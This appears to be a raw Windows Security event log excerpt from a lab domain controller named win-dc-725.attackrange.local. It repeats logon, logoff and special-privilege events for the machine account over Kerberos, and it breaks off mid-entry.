SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249852 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFAD2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249851 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFAD2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64339 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249850 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFAD2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249849 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFA6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249848 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFA6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64338 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249847 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFA6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249846 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFA0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249845 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFA0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64337 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249844 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFA0B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249867 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFCC4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249866 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFCC4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64344 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249865 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFCC4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249864 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFC63 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249863 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFC63 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64343 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249862 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFC63 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249861 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFBFD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249860 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFBFD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64342 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249859 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFBFD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249858 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFB9C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFB9C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64341 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249856 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFB9C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249879 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFE62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249878 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFE62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64348 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249877 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFE62 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249876 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFE01 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249875 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFE01 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64347 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249874 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFE01 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249873 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFD95 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFD95 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 